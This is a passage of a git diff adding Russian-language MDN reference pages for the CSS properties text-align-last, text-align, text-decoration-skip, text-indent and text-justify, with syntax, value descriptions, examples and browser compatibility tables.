+</ul>
diff --git a/files/ru/web/css/text-align-last/index.html b/files/ru/web/css/text-align-last/index.html
new file mode 100644
index 0000000000..26ab1b594b
--- /dev/null
+++ b/files/ru/web/css/text-align-last/index.html
@@ -0,0 +1,139 @@
+---
+title: text-align-last
+slug: Web/CSS/text-align-last
+translation_of: Web/CSS/text-align-last
+---
+<div>{{CSSRef}}</div>
+
+<div>{{SeeCompatTable}}</div>
+
+<h2 id="Кратко">Кратко</h2>
+
+<p><code>text-align-last</code> CSS свойство описывает как выравнивается последняя строка в блоке или строка, идущая сразу перед принудительным разрывом строки.</p>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Formal syntax</a>: {{csssyntax("text-align-last")}}</pre>
+
+<pre>text-align-last: auto
+text-align-last: start
+text-align-last: end
+text-align-last: left
+text-align-last: right
+text-align-last: center
+text-align-last: justify
+
+text-align-last: inherit
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Затронутая строка выравнивается в зависимости от значения  {{cssxref("text-align")}}, за исключением {{cssxref("text-align")}} со значением <code>justify</code>, в этом случае эффект такой же как установить <code>text-align-last</code> равным <code>left</code>.</dd>
+ <dt><code>start</code></dt>
+ <dd>Подобно <code>left</code> если направление слева направо, и <code>right</code> если направление справа налево.</dd>
+ <dt><code>end</code></dt>
+ <dd>Подобно <code>right</code> если направление слева направо, и <code>left</code> если направление справа налево.</dd>
+ <dt><code>left</code></dt>
+ <dd>Линейное содержимое выравнивается по левому краю линейного блока.</dd>
+ <dt><code>right</code></dt>
+ <dd>Линейное содержимое выравнивается по правому краю линейного блока.</dd>
+ <dt><code>center</code></dt>
+ <dd>Линейное содержимое центрируется внутри линейного блока.</dd>
+ <dt><code>justify</code></dt>
+ <dd>Текст выравнивается по ширине. Тексту следует выстраивать свои левые и правые границы по левым и правым границам содержимого параграфа.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:css">div {
+  text-align: justify;
+  -moz-text-align-last: center;
+  text-align-last: center;
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#text-align-last', 'text-align-last')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>35<br>
+    {{WebkitBug("76173")}}</td>
+   <td>{{CompatGeckoDesktop("12.0")}}{{property_prefix('-moz')}}</td>
+   <td>5.5</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<br>
+    {{WebkitBug("76173")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая<br>
+    поддержка</td>
+   <td>{{CompatNo}}<br>
+    {{WebkitBug("76173")}}</td>
+   <td>{{CompatGeckoMobile("12.0")}}{{property_prefix('-moz')}}</td>
+   <td>6.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<br>
+    {{WebkitBug("76173")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>В Internet Explorer значения <code>start</code> и <code>end</code> <a href="http://msdn.microsoft.com/en-us/library/ie/ms531163%28v=vs.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ie/ms531163%28v=vs.85%29.aspx">не поддерживаются</a>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("text-align")}}</li>
+</ul>
diff --git a/files/ru/web/css/text-align/index.html b/files/ru/web/css/text-align/index.html
new file mode 100644
index 0000000000..925aceee44
--- /dev/null
+++ b/files/ru/web/css/text-align/index.html
@@ -0,0 +1,260 @@
+---
+title: text-align
+slug: Web/CSS/text-align
+translation_of: Web/CSS/text-align
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Резюме">Резюме</h2>
+
+<p><code>text-align</code> CSS свойство описывает, как линейное содержимое, наподобие текста, выравнивается в блоке его родительского элемента. <code>text-align</code> не контролирует выравнивание элементов самого блока, но только их линейное содержимое.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Формальный синтаксис</a>: {{csssyntax("text-align")}}
+</pre>
+
+<pre>text-align: left
+text-align: right
+text-align: center
+text-align: justify
+text-align: start
+text-align: end
+text-align: match-parent
+text-align: start end
+text-align: "."
+text-align: start "."
+text-align: "." end
+
+text-align: inherit
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>start</code> {{experimental_inline}}</dt>
+ <dd>Подобно <code>left</code> если направление слева направо, и <code>right</code> если наоборот.</dd>
+ <dt><code>end</code> {{experimental_inline}}</dt>
+ <dd>Подобно <code>right</code> если направление слева направо, и <code>left</code> если наоборот.</dd>
+ <dt><code>left</code></dt>
+ <dd>Линейное содержимое выравнивается по левому краю линейного блока.</dd>
+ <dt><code>right</code></dt>
+ <dd>Линейное содержимое выравнивается по правому краю линейного блока.</dd>
+ <dt><code>center</code></dt>
+ <dd>Линейное содержимое центрируется в линейном блоке.</dd>
+ <dt><code>&lt;string&gt;</code> {{experimental_inline}}</dt>
+ <dd>Первое появление односимвольной строки - это элемент используемый для выравнивания. Ключевое слово, следует или предшествует, и определяет, как это выравнивается. Это позволяет выравнять численные значения с десятичной точкой, к примеру.</dd>
+ <dt><code>justify</code></dt>
+ <dd>Текст выравнивается. Тексту следует выстраивать свои левые и правые границы по левым и правым границам содержимого параграфа.</dd>
+ <dt><code>match-parent</code> {{experimental_inline}}</dt>
+ <dd>Наподобие <code>inherit</code> с различием, что значение <code>start</code> и <code>end</code> вычисляются в соответствии {{cssxref("direction")}} и заменяются соответствующим <code>left</code> или <code>right</code> значением.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p><a href="/samples/cssref/text-align.html">Посмотреть живые примеры</a></p>
+
+<h3 id="Живые_примеры">Живые примеры</h3>
+
+<div style="text-align: center; border: solid; margin: 1em 0;">div { <strong>text-align: center</strong>; border:solid; }
+
+<p style="background: gold; width: 22em; margin: 1em 0;">p { background:gold; width:22em; }</p>
+несколько текста...</div>
+
+<div style="text-align: center; border: solid; margin: 1em 0;">div { <strong>text-align: center</strong>; border:solid; }
+
+<p style="background: gold; width: 22em; margin: 1em auto;">p { background:gold; width:22em; <strong>margin: 1em auto</strong>; }</p>
+несколько текста...</div>
+
+<div style="text-align: -moz-center; text-align: -webkit-center; border: solid; margin: 1em 0;">div { <strong>text-align:-moz-center</strong>; text-align:-webkit-center; border:solid; }
+
+<p style="background: gold; width: 22em; margin: 1em 0;">p { background:gold; width:22em; }</p>
+несколько текста...</div>
+
+<h3 id="Примечание">Примечание</h3>
+
+<p>Стандартный совместимый способ центрировать сам блок без выравнивания его содержимого, это установка его left и right margin в auto, пример:<br>
+ <code>margin:auto;</code> или <code>margin:0 auto;</code> или <code> margin-left:auto; margin-right:auto;</code></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties', '#text-align', 'text-align')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>Нет изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#text-align', 'visibility')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Добавлены <code>ключевые слова start</code><font face="Open Sans, Arial, sans-serif">,</font><code><font face="Open Sans, Arial, sans-serif"> </font>end</code> и <code>match-parent</code>. Изменено безымянное начальное значение в <code>start</code> (которое было).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#alignment-prop', 'text-align')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Нет изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#text-align', 'text-align')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Исходное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка (<code>left</code>, <code>right</code>, <code>center</code> and <code>justify</code>)</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+  <tr>
+   <td>Block alignment values [1] {{non-standard_inline}}</td>
+   <td>1.0{{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}{{property_prefix("-moz")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>1.0 (85){{property_prefix("-khtml")}}<br>
+    1.3 (312){{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>start</code> {{experimental_inline}}</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.1 (525)</td>
+  </tr>
+  <tr>
+   <td><code>end</code> {{experimental_inline}}</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>3.1 (525)</td>
+  </tr>
+  <tr>
+   <td><code>match-parent</code>{{experimental_inline}}</td>
+   <td>16</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("string&gt;")}}<br>
+    value{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Block alignment values [1] {{non-standard_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>start</code> {{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>end</code> {{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>match-parent</code>{{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("&lt;string&gt;")}} value{{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Оба WebKit и Gecko поддерживают префиксную версию <code>left</code>, <code>center</code>, и <code>right</code>, которая применяется не только к линейному содержимому, но также и к блочным элементам. Это используется для реализации унаследованных {{htmlattrxref("align", "td")}} атрибутов на некоторых таблично-связанных элементах. Не используйте их в рабочих сайтах.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Cssxref("margin","margin:auto")}}, {{Cssxref("margin-left","margin-left:auto")}}, {{Cssxref("vertical-align")}}</li>
+</ul>
diff --git a/files/ru/web/css/text-decoration-skip/index.html b/files/ru/web/css/text-decoration-skip/index.html
new file mode 100644
index 0000000000..206207acd9
--- /dev/null
+++ b/files/ru/web/css/text-decoration-skip/index.html
@@ -0,0 +1,151 @@
+---
+title: text-decoration-skip
+slug: Web/CSS/text-decoration-skip
+translation_of: Web/CSS/text-decoration-skip
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">The <strong><code>text-decoration-skip</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> property specifies what parts of the element’s content any text decoration affecting the element must skip over.</span> It controls all text decoration lines drawn by the element and also any text decoration lines drawn by its ancestors.</p>
+
+<pre class="brush:css no-line-numbers">/* Single keyword */
+text-decoration-skip: none;
+text-decoration-skip: objects;
+text-decoration-skip: spaces;
+text-decoration-skip: ink;
+text-decoration-skip: edges;
+text-decoration-skip: box-decoration;
+
+/* Multiple keywords */
+text-decoration-skip: objects spaces;
+text-decoration-skip: ink edges box-decoration;
+
+/* Global keywords */
+text-decoration-skip: inherit;
+text-decoration-skip: initial;
+text-decoration-skip: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Nothing is skipped, i.e. text decoration is drawn for all text content and across atomic inline-level boxes.</dd>
+ <dt><code>objects</code></dt>
+ <dd>The entire margin box of the element is skipped if it is an atomic inline such as an image or inline-block.</dd>
+ <dt><code>spaces</code></dt>
+ <dd>All spacing is skipped, i.e. all <a href="http://www.unicode.org/reports/tr44/#White_Space">Unicode white space characters</a> and all word separators, plus any adjacent {{cssxref("letter-spacing")}} or {{cssxref("word-spacing")}}.</dd>
+ <dt><code>ink</code></dt>
+ <dd>The text decoration is only drawn where it does not touch or closely approach a glyph. I.e. it is interrupted where it would otherwise cross over a glyph.</dd>
+ <dd><img alt='An example of "text-decoration-skip: ink;".' src="https://mdn.mozillademos.org/files/13464/decoration-skip-ink.png"></dd>
+ <dt><code>edges</code></dt>
+ <dd>The start and end of the text decoration is placed slightly inward (e.g. by half of the line thickness) from the content edge of the decorating box. E.g. two underlined elements side-by-side do not appear to have a single underline. (This is important in Chinese, where underlining is a form of punctuation.)</dd>
+ <dd><img alt='An example of "text-decoration-skip: edges;".' src="https://mdn.mozillademos.org/files/13466/decoration-skip-edges.png"></dd>
+ <dt><code>box-decoration</code></dt>
+ <dd>The text decoration is skipped over the box's margin, border and padding areas. This only has an effect on decorations imposed by an ancestor; a <em>decorating box</em> never draws over its own box decoration.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<p class="syntaxbox">{{csssyntax}}</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="HTML_content">HTML content</h3>
+
+<pre class="brush: html">&lt;p&gt;Hey, grab a cup of coffee!&lt;/p&gt;</pre>
+
+<h3 id="CSS_content">CSS content</h3>
+
+<pre class="brush: css; highlight[4]">p {
+  margin: 0;
+  font-size: 3em;
+  text-decoration: underline;
+  text-decoration-skip: ink;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 60)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Text Decoration", "#text-decoration-skip-property", "text-decoration-skip")}}</td>
+   <td>{{Spec2("CSS3 Text Decoration")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(57)}}</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(44)}}</td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(57)}}</td>
+   <td>{{CompatChrome(57)}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(44)}}</td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] This feature is not implemented yet. See {{bug(812990)}}.</p>
+
+<p>[2] This feature is not implemented yet. See the <a href="https://wpdev.uservoice.com/forums/257854-microsoft-edge-developer/suggestions/6514536-text-decoration-styling">related request</a>.</p>
+
+<p>[3] Safari implements a {{property_prefix("-webkit")}} prefixed version of this property since version 8, though only supports the value <code>none</code> and the non-standard value <code>skip</code>. All other values behave like those two values.</p>
diff --git a/files/ru/web/css/text-indent/index.html b/files/ru/web/css/text-indent/index.html
new file mode 100644
index 0000000000..143069b642
--- /dev/null
+++ b/files/ru/web/css/text-indent/index.html
@@ -0,0 +1,212 @@
+---
+title: text-indent
+slug: Web/CSS/text-indent
+translation_of: Web/CSS/text-indent
+---
+<div>{{CSSRef}}</div>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Свойство </font><strong>text-indent</strong></code> определяет размер отступа (пустого места) перед строкой в текстовом блоке. По умолчанию это свойство управляет отступом только первой строкой блока, однако ключевые слова <code>hanging </code>и <code>each-line </code>могут изменить данное поведение.</p>
+
+<p>Строка смещается по горизонтали к левому или к правому (при размещении текста справа налево) краю блока, в котором содержится элемент.</p>
+
+<p> {{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">/* значение &lt;length&gt; */
+text-indent: 3mm;
+text-indent: 40px;
+
+/* значение &lt;percentage&gt; зависит от ширины блока*/
+text-indent: 15%;
+
+/* значения ключевых слов */
+text-indent: 5em each-line;
+text-indent: 5em hanging;
+text-indent: 5em hanging each-line;
+
+/* международные значения */
+text-indent: inherit;
+text-indent: initial;
+text-indent: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>&lt;length&gt; </code></dt>
+ <dd>Отступ определяется как абсолютная длина ({{cssxref("&lt;length&gt;")}}). Возможны также отрицательные значения. Статья про значение длины ({{cssxref("&lt;length&gt;")}}) расскажет больше про возможные единицы измерения.</dd>
+ <dt><code>&lt;percentage&gt; </code></dt>
+ <dd>В процентном ({{cssxref("&lt;percentage&gt;")}}) соотношении отступ зависит от ширины всего блока, внутри которого находится строка.</dd>
+ <dt><code>each-line</code> {{experimental_inline}} (экспериментальное значение)</dt>
+ <dd>Отступ добавляется к первой строке блочного контейнера, а также к каждой строке после принудительного разрыва строки (Enter и br), но не влияет на строки после мягкого переноса. </dd>
+ <dt><code>hanging</code> {{experimental_inline}} (экспериментальное значение)</dt>
+ <dd>Отступ добавляется ко всем строкам, <em>кроме </em>первой. </dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Simple_indent" name="Simple_indent">Простые примеры отступов</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy
+nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.&lt;/p&gt;
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy
+nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  text-indent: 5em;
+  background: powderblue;
+}</pre>
+
+<p>{{ EmbedLiveSample('Simple_indent','100%','100%') }}</p>
+
+<h2 id="Percentage_indent_example" name="Percentage_indent_example">Пример со значением &lt;<code>percentage&gt; </code></h2>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy
+nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.&lt;/p&gt;
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy
+nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.&lt;/p&gt; </pre>
+
+<h3 id="CSS_2">CSS</h3>
+
+<pre class="brush: css">p {
+  text-indent: 30%;
+  background: plum;
+}</pre>
+
+<p>{{ EmbedLiveSample('Percentage_indent_example','100%','100%') }}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#text-indent', 'text-indent')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Добавили ключевые слова <code>hanging</code> и <code>each-line</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'text-indent')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Определяет <code>text-indent</code> как анимированное свойство</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#indentation-prop', 'text-indent')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Подробно определяет поведение блочно-строчных элементов (<code>display: inline-block) </code>и незаполненных блоков (anonymous block boxes)</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#text-indent', 'text-indent')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+  <tr>
+   <td><code>hanging</code></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>each-line</code></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>hanging</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>each-line</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko это не поддерживает. Смотрите {{bug(784648)}}.</p>
diff --git a/files/ru/web/css/text-justify/index.html b/files/ru/web/css/text-justify/index.html
new file mode 100644
index 0000000000..90498601e6
--- /dev/null
+++ b/files/ru/web/css/text-justify/index.html
@@ -0,0 +1,115 @@
+---
+title: text-justify
+slug: Web/CSS/text-justify
+tags:
+  - Текст
+  - выравнивание текста
+translation_of: Web/CSS/text-justify
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS-свойство <strong><code>text-justify</code></strong> определяет какой тип выравнивания следует применить к тексту,  когда {{cssxref("text-align")}}<code>: justify;</code> применяется к элементу.</p>
+
+<pre class="brush: css no-line-numbers">text-justify: none;
+text-justify: auto;
+text-justify: inter-word;
+text-justify: inter-character;
+text-justify: distribute; /* Устаревшее значение */
+</pre>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Свойство <code>text-justify</code> указывается как одно ключевое слово, выбранное из нижеследующего списка значений.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Выравнивание текста отключено. Оно имеет такой же эффект как отсутствие применение свойства {{cssxref("text-align")}}, хотя оно полезно, если вам нужно включать и выключать выравнивание.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Браузер выбирает лучший тип выравнивания в текущей ситуации, основываясь на балансе между производительностью и качеством, а также на том, что более подходит для языка текста (например, английского, иероглифных языков, и т.п.).  Оно используется по умолчанию, если <code>text-justify</code> не установлен.</dd>
+ <dt><code>inter-word</code></dt>
+ <dd>Выравнивание текста по средствам добавления пробелов между словами (эффективно варьируя {{cssxref("word-spacing")}}), что наиболее подходит для языков, которые используют разделение слов пробелами, таких как английский или корейский.</dd>
+ <dt><code>inter-character</code></dt>
+ <dd>Выравнивание текста по средствам добавления пробелов между символами (effectively varying {{cssxref("letter-spacing")}}), что наиболее подходит для таких языков как японский.</dd>
+ <dt><code>distribute</code> {{deprecated_inline}}</dt>
+ <dd>Показывает тоже поведение, что и <code>inter-character</code>; это значение сохранилось для обратной совместимости.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<div class="hidden">
